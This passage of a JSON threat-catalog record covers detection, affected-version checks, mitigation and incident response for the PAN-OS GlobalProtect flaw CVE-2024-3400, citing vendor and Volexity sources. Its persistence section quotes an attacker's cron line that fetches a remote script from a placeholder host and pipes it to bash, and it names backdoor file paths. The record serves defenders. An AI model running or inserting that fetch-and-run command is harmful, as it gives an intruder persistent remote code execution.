LogScale","author":"vuln2shell","authorUrl":"https://vuln2shell.com","sourceUrl":"https://security.paloaltonetworks.com/CVE-2024-3400","sourceDate":"2024-04-12","license":"CC0 1.0","origin":"vuln2shell","tested":"untested","timeRange":"From 2024-03-26"}],"thirdPartyQueries":[{"title":"CVE-2024-3400 forensic artefacts YARA","url":"https://github.com/Neo23x0/signature-base/blob/3ce6640c26046da8e6d8094af3eaaee3ee84e648/yara/vuln_paloalto_cve_2024_3400_apr24.yar","author":"Florian Roth","date":"2024-04-12","language":"yara","license":"see source","origin":"vendor","note":"Run against extracted Tech Support Files."},{"title":"Volexity: Detecting compromise of CVE-2024-3400","url":"https://www.volexity.com/blog/2024/05/15/detecting-compromise-of-cve-2024-3400-on-palo-alto-networks-globalprotect-devices/","author":"Volexity","date":"2024-05-15","language":"guide","license":"public","origin":"vendor","note":"Covers why the integrity check missed some compromises and what to collect."}],"artefacts":[{"kind":"device-log","value":"failed to unmarshal session(<path or command>) in gpsvc.log","detail":"Exploit attempt marker.","sourceUrl":"https://security.paloaltonetworks.com/CVE-2024-3400","sourceDate":"2024-04-12"},{"kind":"file","value":"/usr/lib/python3.6/site-packages/system.pth","detail":"UPSTYLE backdoor.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"},{"kind":"device-log","value":"Crafted lines in /var/log/pan/sslvpn_ngx_error.log","detail":"UPSTYLE command channel, cleaned after use.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"},{"kind":"file","value":"Zero-byte files created to test exploitation","detail":"Early probing seen from 26 Mar 2024.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"}],"iocs":[{"type":"path","value":"/usr/lib/python3.6/site-packages/system.pth","context":"UPSTYLE backdoor path.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"}],"iocNote":"Volexity published IPs and hashes for UTA0218 in its 12 Apr 2024 post. Use that list.","hitMeaning":[{"level":"attempt","detail":"A non-GUID session value in gpsvc.log with no follow-on activity (Palo Alto Networks Level 0 or 1)."},{"level":"likely-compromise","detail":"Evidence of file writes or commands, or outbound sessions from the firewall."},{"level":"confirmed-compromise","detail":"UPSTYLE or other backdoor files, or interactive command use (Level 2 or 3)."}],"nextSteps":[{"title":"Follow Palo Alto Networks remediation levels","detail":"Upgrade, then apply private data reset or enhanced factory reset as the level requires.","links":[{"label":"Advisory","href":"https://security.paloaltonetworks.com/CVE-2024-3400"}]},{"title":"Rotate secrets on the firewall","detail":"Assume local and stored credentials, keys and certificates are exposed after Level 2 or 3."}],"limits":["UPSTYLE cleans its own log lines, so error-log evidence may be gone.","Tech Support Files only cover what is still on the device."],"sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"},{"url":"https://www.volexity.com/blog/2024/05/15/detecting-compromise-of-cve-2024-3400-on-palo-alto-networks-globalprotect-devices/","date":"2024-05-15","publisher":"Volexity"},{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}],"updatedAt":"2026-10-24"},"amIAffected":{"summary":"CVE-2024-3400 applies only to PAN-OS 10.2, 11.0, and 11.1 firewalls that have a GlobalProtect gateway or portal configured. Palo Alto Networks states Cloud NGFW, Panorama appliances, Prisma Access, and PAN-OS 10.1 / 10.0 / 9.1 / 9.0 are not impacted. Device telemetry does not need to be enabled.","checks":[{"id":"v2s-aia-panos-globalprotect-version-1","kind":"version","title":"Read PAN-OS version from the firewall","detail":"Compare the running version to the advisory product table. Affected lines are PAN-OS 10.2, 11.0, and 11.1 before the listed hotfixes. Fixed examples include 10.2.9-h1, 11.0.4-h1, 11.1.2-h3, and the later hotfixes in the same table.","command":"show system info","affectedMeans":"sw-version is 10.2.x, 11.0.x, or 11.1.x and is below the matching unaffected hotfix (for example 10.2.9 before 10.2.9-h1; 11.0.4 before 11.0.4-h1; 11.1.2 before 11.1.2-h3). Also treat any listed 10.2 / 11.0 / 11.1 maintenance release that is older than its matching -h hotfix as affected if GlobalProtect is configured.","fixedMeans":"sw-version is at or above a listed unaffected hotfix (Palo Alto: 10.2.9-h1, 11.0.4-h1, 11.1.2-h3, or any later PAN-OS version / courtesy hotfix in the advisory table), or the vendor-stated unaffected lines 10.1 / 10.0 / 9.1 / 9.0.","notes":"Azure Marketplace hotfix names add an extra 0 (example: 11.1.2-h3 is published as 11.1.203). Version alone is not enough; GlobalProtect must also be configured.","sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}]},{"id":"v2s-aia-panos-globalprotect-config-2","kind":"config","title":"Confirm GlobalProtect gateway or portal is configured","detail":"Palo Alto Networks: this issue applies only when a GlobalProtect gateway or portal (or both) is configured. Check the firewall web interface at Network > GlobalProtect > Gateways and Network > GlobalProtect > Portals.","command":"Inspect Network > GlobalProtect > Gateways and Network > GlobalProtect > Portals in the web UI (read-only).","affectedMeans":"Any gateway or portal entry exists on PAN-OS 10.2 / 11.0 / 11.1 below a listed hotfix.","fixedMeans":"No GlobalProtect gateway or portal is configured (exposure precondition absent), or the firewall is on a listed fixed hotfix. Absence of GlobalProtect does not change the version table; it means this CVE's required configuration is not present.","notes":"Device telemetry enabled or disabled does not change exposure. Palo Alto retracted telemetry-off as a mitigation.","sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}]},{"id":"v2s-aia-panos-globalprotect-package-3","kind":"package","title":"Confirm Applications and Threats content if using Threat Prevention as a bridge","detail":"Threat IDs 95187, 95189, and 95191 shipped in Applications and Threats content 8836-8695 and later. This is inventory of the signature pack, not a substitute for the version check.","command":"show system info","affectedMeans":"threat-version older than 8836-8695, or Vulnerability Protection is not applied to the GlobalProtect interface. The host can still be on a vulnerable PAN-OS build even if content is current.","fixedMeans":"Content 8836-8695 or later is installed and Vulnerability Protection that includes those Threat IDs is applied to the GlobalProtect interface. This is a mitigation inventory check only; PAN-OS still needs a listed hotfix for a complete fix.","sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}]},{"id":"v2s-aia-panos-globalprotect-exposure-4","kind":"exposure","title":"Find your own GlobalProtect portals on the public internet","detail":"Product-level search only. Version is not assessed. Scope to your ranges so this is inventory, not a scan of the open internet.","command":"shodan search 'http.title:\"GlobalProtect Portal\" net:<your-range>'","affectedMeans":"A host in your range presents a GlobalProtect Portal title. Treat as exposed inventory; confirm PAN-OS version and GP config on the device before calling it vulnerable.","fixedMeans":"No matching hosts in your ranges, or matching hosts are on a listed fixed hotfix and no longer need to be treated as unpatched exposure.","notes":"Catalog Shodan count on 2026-10-23 used the unscoped product query and is global exposure, not your estate.","sources":[{"url":"https://www.shodan.io/search?query=http.title%3A%22GlobalProtect%20Portal%22","date":"2026-10-23","publisher":"Shodan (via catalog seenInTheWild)"},{"url":"https://censys.com/advisory/cve-2024-3400/","date":"2024-04-15","publisher":"Censys"}]}],"limits":["show system info does not prove GlobalProtect is enabled; complete the UI config check.","Shodan/Censys product queries do not report PAN-OS hotfix level.","Palo Alto's advisory curl Cookie SESSID test is a crafted request and is not used here."],"sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"},{"url":"https://www.shodan.io/search?query=http.title%3A%22GlobalProtect%20Portal%22","date":"2026-10-23","publisher":"Shodan (via catalog seenInTheWild)"},{"url":"https://censys.com/advisory/cve-2024-3400/","date":"2024-04-15","publisher":"Censys"}],"updatedAt":"2026-10-24","addedDate":"2026-10-24"},"mitigations":{"summary":"Palo Alto Networks documents Threat Prevention signatures as an interim block. Upgrade to a listed hotfix even when those signatures are applied. Disabling device telemetry is no longer a mitigation.","items":[{"title":"Apply Threat Prevention signatures on the GlobalProtect interface","detail":"Customers with a Threat Prevention subscription can block attacks using Threat IDs 95187, 95189, and 95191 in Applications and Threats content 8836-8695 and later. Vulnerability protection must be applied to the GlobalProtect interface. Palo Alto still advises upgrading to a fixed PAN-OS hotfix even when this is applied.","limits":"Interim only. Requires a Threat Prevention license and correct attachment to the GP interface. Does not remove post-exploit persistence already on a compromised device. Does not replace a listed hotfix.","verify":"Confirm Applications and Threats content is 8836-8695 or later (show system info / Device > Dynamic Updates). Confirm a Vulnerability Protection profile that includes Threat IDs 95187, 95189, and 95191 is attached to the GlobalProtect interface (see Palo Alto live article Applying vulnerability protection to GlobalProtect interfaces). Do not send crafted SESSID cookies.","source":{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}}],"updatedAt":"2026-10-24","addedDate":"2026-10-24"},"response":{"summary":"Collect a Tech Support File before reboot. If the firewall was unpatched or unprotected on or before 25 Apr 2024, Palo Alto recommends an enhanced factory reset. Volexity documented UPSTYLE and credential theft after UTA0218 gained root.","containment":[{"title":"Collect a Tech Support File before reboot or upgrade","detail":"Palo Alto Networks: obtain a TSF for forensic analysis before rebooting into a fixed PAN-OS. After upgrade, some logs from the prior installation become inaccessible on the device.","sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}]},{"title":"Upgrade to a listed hotfix, then apply the remediation level Palo Alto assigns","detail":"Fixed releases begin with 10.2.9-h1, 11.0.4-h1, 11.1.2-h3 (14 Apr 2024) and the courtesy hotfixes in the advisory. If exploitation was observed, follow the remediation KB. Enhanced factory reset (EFR) is recommended for devices that were unpatched or unprotected on or before 25 Apr 2024, or when persistence risk remains. EFR is scheduled via TAC and does not rely on the integrity of a potentially compromised device.","sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"},{"url":"https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CrO6CAK","date":"2024-04-12","publisher":"Palo Alto Networks"}]},{"title":"Treat the firewall as a beachhead and look for internal pivot","detail":"Volexity: after root RCE, UTA0218 exported configuration and moved laterally. Review traffic where the firewall's own interface IP is the source, including unexpected wget, SMB, RDP, or WinRM from the device.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"}]},{"title":"Isolate the device from the internet while preserving evidence if compromise is likely","detail":"Standard IR: stop further unauthenticated access to GlobalProtect without wiping the appliance. Volexity: do not wipe or rebuild before collecting logs, TSF, and forensics.","generic":true,"sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"}]}],"rotate":[{"item":"Firewall local accounts, stored credentials, keys, and certificates","reason":"Root command execution can read anything on the device. Catalog and Volexity: treat secrets on the firewall as exposed after confirmed compromise (Palo Alto Level 2 or 3).","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"},{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}]},{"item":"Active Directory / domain credentials, DPAPI backup keys, and NTDS.DIT-derived secrets","reason":"Volexity: UTA0218 targeted domain backup DPAPI keys and NTDS.DIT, then user DPAPI keys.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"}]},{"item":"Chrome and Edge cookies, Login Data, and Local State from targeted workstations","reason":"Volexity lists those browser paths as stolen so stored passwords and cookies could be decrypted.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"}]},{"item":"Service account used by the firewall if it is privileged in the domain","reason":"Volexity: in one case a firewall service account in Domain Admins was used to pivot via SMB and WinRM.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"}]}],"persistence":[{"kind":"path","value":"/usr/lib/python3.6/site-packages/system.pth","detail":"UPSTYLE Python backdoor deployed by update.py. Lines beginning with import in a .pth file run on module import.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"},{"kind":"cron","value":"/etc/cron.d/update","detail":"UTA0218 wrote a root cron that ran wget -qO- http://<attacker>/policy | bash every minute. Unit 42 also describes a cron-job backdoor after UPSTYLE install failed.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"},{"kind":"path","value":"/var/log/pan/sslvpn_ngx_error.log","detail":"UPSTYLE command channel: crafted missing-page requests; matching lines are removed after use.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"},{"kind":"path","value":"/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css","detail":"UPSTYLE wrote command output here, then restored the original file and timestamps after 15 seconds.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"},{"kind":"path","value":"/var/appweb/sslvpndocs/global-protect/*.css","detail":"Policy scripts copied running-config.xml and uname -a into CSS files in the externally reachable GlobalProtect web directory.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"},{"kind":"path","value":"/tmp/vpn_prot and /tmp/lowdp","detail":"GOST tunnel binary and reverse-ssh dropped to /tmp and executed with nohup.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"},{"kind":"account","value":"Privileged firewall service account (observed in Domain Admins in one Volexity case)","detail":"Used for SMB and WinRM lateral movement. Not a new local account on the firewall; abuse of an existing privileged account.","sourceUrl":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","sourceDate":"2024-04-12"},{"kind":"other","value":"Third-party post-exploit persistence that survives resets and upgrades","detail":"Palo Alto Networks (updated 29 Apr 2024): aware of public PoC persistence techniques that survive resets and upgrades. They were not aware of malicious use of those techniques in active exploitation at that time. EFR exists because of this class of risk.","sourceUrl":"https://security.paloaltonetworks.com/CVE-2024-3400","sourceDate":"2024-04-29"}],"evidence":[{"title":"Tech Support File including mp-log gpsvc.log*","detail":"Palo Alto marker: grep pattern \"failed to unmarshal session(.\\+./\" mp-log gpsvc.log*. A value that is a path or shell string instead of a GUID is an exploit attempt. Collect before reboot.","sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"}]},{"title":"Firewall traffic logs where the device's own IP is the source","detail":"Volexity: reverse shells, wget downloads, SMB/RDP from the appliance. Also noted HTTP GET to worldtimeapi.org/api/timezone/etc/utc from compromised devices in their cases.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"}]},{"title":"sslvpn error log and GlobalProtect web directory","detail":"Preserve /var/log/pan/sslvpn_ngx_error.log and /var/appweb/sslvpndocs/global-protect/ before reset. UPSTYLE cleans its own log lines, so evidence may already be gone.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"}]},{"title":"Volatile memory via TAC","detail":"Volexity: customers cannot collect firewall memory themselves; Palo Alto TAC assistance is required.","sources":[{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"}]}],"sources":[{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","publisher":"Palo Alto Networks"},{"url":"https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CrO6CAK","date":"2024-04-12","publisher":"Palo Alto Networks"},{"url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","publisher":"Volexity"},{"url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-29"}],"updatedAt":"2026-10-24","addedDate":"2026-10-24"},"bulletins":[{"vendor":"Akamai","title":"RedTail Cryptominer Threat Actors Adopt PAN-OS CVE-2024-3400 Exploit","url":"https://www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit","date":"2024-05-30","cve":"CVE-2024-3400"},{"vendor":"Check Point","title":"CPAI-2024-0196 Palo Alto Networks GlobalProtect Command Injection (CVE-2024-3400)","url":"https://advisories.checkpoint.com/defense/advisories/public/2024/cpai-2024-0196.html/","date":"2024-04-14","cve":"CVE-2024-3400"},{"vendor":"Cisco Talos","title":"Snort Talos Rules 2024-04-16","url":"https://www.snort.org/advisories/talos-rules-2024-04-16-4-17-2024","date":"2024-04-16","cve":"CVE-2024-3400"},{"vendor":"F5","title":"F5 Distributed Cloud attack signatures reference","url":"https://docs.cloud.f5.com/docs-v2/platform/reference/attack-signatures","date":"2024-04-21","cve":"CVE-2024-3400"},{"vendor":"Fortinet","title":"FortiGuard search: CVE-2024-3400","url":"https://www.fortiguard.com/search?q=CVE-2024-3400&engine=1","date":"2024-04-30","cve":"CVE-2024-3400"},{"vendor":"Fortinet","title":"FortiGuard Outbreak Alert: PAN-OS GlobalProtect Attack","url":"https://www.fortiguard.com/outbreak-alert/pan-os-globalprotect-attack","date":"2026-10-23","cve":"CVE-2024-3400","dateKind":"checked"},{"vendor":"Juniper","title":"HTTP:CTS:CVE-2024-3400-CMD-INJ","url":"https://www.juniper.net/us/en/threatlabs/ips-signatures/detail.HTTP:CTS:CVE-2024-3400-CMD-INJ.html","date":"2024-04-18","cve":"CVE-2024-3400"},{"vendor":"Palo Alto Networks","title":"CVE-2024-3400 PAN-OS: OS command injection vulnerability in GlobalProtect","url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","cve":"CVE-2024-3400"},{"vendor":"Palo Alto Networks","title":"Threat Brief: Operation MidnightEclipse (CVE-2024-3400)","url":"https://unit42.paloaltonetworks.com/cve-2024-3400/","date":"2024-04-12","cve":"CVE-2024-3400"},{"vendor":"Sophos","title":"Sophos IPS signature update 18.22.10","url":"https://docs.sophos.com/releasenotes/output/en-us/nsg/IPSReleaseNotes/18.22.10.html","date":"2024-07-01","cve":"CVE-2024-3400"},{"vendor":"Trend Micro","title":"SECURITY ALERT: CVE-2024-3400 Exploitation of Unauthenticated Code Execution in Palo Alto GlobalProtect","url":"https://success.trendmicro.com/en-US/solution/KA-0016378","date":"2026-10-23","cve":"CVE-2024-3400","dateKind":"checked"},{"vendor":"Zscaler","title":"A look at CVE-2024-3400 activity and Upstyle backdoor technical analysis","url":"https://www.zscaler.com/blogs/security-research/look-cve-2024-3400-activity-and-upstyle-backdoor-technical-analysis","date":"2024-04-17","cve":"CVE-2024-3400"}],"coverage":[{"title":"CVE-2024-3400 PAN-OS advisory","publisher":"Palo Alto Networks","url":"https://security.paloaltonetworks.com/CVE-2024-3400","date":"2024-04-12","type":"vendor"},{"title":"Zero-Day Exploitation of Unauthenticated RCE in GlobalProtect","publisher":"Volexity","url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","date":"2024-04-12","type":"research"},{"title":"Operation MidnightEclipse threat brief","publisher":"Unit 42","url":"https://unit42.paloaltonetworks.com/cve-2024-3400/","date":"2024-04-12","type":"research"},{"title":"Palo Alto - Putting The Protecc In GlobalProtect","publisher":"watchTowr","url":"https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/","date":"2024-04-16","type":"research"}],"posts":[],"research":[{"title":"Palo Alto Networks CVE-2024-3400","url":"https://security.paloaltonetworks.com/CVE-2024-3400","authors":"Palo Alto Networks PSIRT","date":"2024-04-12"},{"title":"Volexity zero-day report","url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","authors":"Volexity","date":"2024-04-12"},{"title":"Unit 42 MidnightEclipse brief","url":"https://unit42.paloaltonetworks.com/cve-2024-3400/","authors":"Unit 42","date":"2024-04-12"},{"title":"NVD CVE-2024-3400","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3400","authors":"NVD","date":"2024-04-12"}],"impact":{"kind":"single-product","product":"Palo Alto Networks PAN-OS (GlobalProtect gateway/portal)","versions":[{"version":"PAN-OS 11.1 with GlobalProtect","status":"affected","versions":">= 11.1.0-h3, >= 11.1.1-h1, >= 11.1.2-h3","vendorStatement":{"date":"2024-04-12","url":"https://security.paloaltonetworks.com/CVE-2024-3400","quote":"PAN-OS 11.1 affected < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3."}},{"version":"PAN-OS 11.0 with GlobalProtect","status":"affected","versions":">= 11.0.0-h3, >= 11.0.1-h4, >= 11.0.2-h4, >= 11.0.3-h10, >= 11.0.4-h1","vendorStatement":{"date":"2024-04-12","url":"https://security.paloaltonetworks.com/CVE-2024-3400","quote":"PAN-OS 11.0 affected before the listed hotfixes; fixed releases begin with 11.0.4-h1 (14 Apr 2024) and related hotfixes."}},{"version":"PAN-OS 10.2 with GlobalProtect","status":"affected","versions":">= 10.2.9-h1 and listed 10.2.x hotfixes","vendorStatement":{"date":"2024-04-12","url":"https://security.paloaltonetworks.com/CVE-2024-3400","quote":"PAN-OS 10.2 affected before listed hotfixes; 10.2.9-h1 released 14 Apr 2024."}},{"version":"PAN-OS 10.1 / 10.0 / 9.1 / 9.0","status":"vendor-stated-not-affected","vendorStatement":{"date":"2024-04-12","url":"https://security.paloaltonetworks.com/CVE-2024-3400","quote":"PAN-OS 10.1, 10.0, 9.1, and 9.0: Affected None / Unaffected All."}},{"version":"Cloud NGFW / Panorama / Prisma Access","status":"vendor-stated-not-affected","vendorStatement":{"date":"2024-04-12","url":"https://security.paloaltonetworks.com/CVE-2024-3400","quote":"Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability."}}]},"pocs":[],"pocEmptyState":"Palo Alto Networks states proof of concepts have been publicly disclosed by third parties. watchTowr published a technical analysis on 16 Apr 2024. No single canonical public PoC repository is indexed here.","_feed":{"page":"https://vuln2shell.com/vulns/panos-globalprotect","json":"https://vuln2shell.com/vulns/panos-globalprotect.json","iocsCsv":"https://vuln2shell.com/vulns/panos-globalprotect/iocs.csv","stix":"https://vuln2shell.com/vulns/panos-globalprotect/stix.json"}}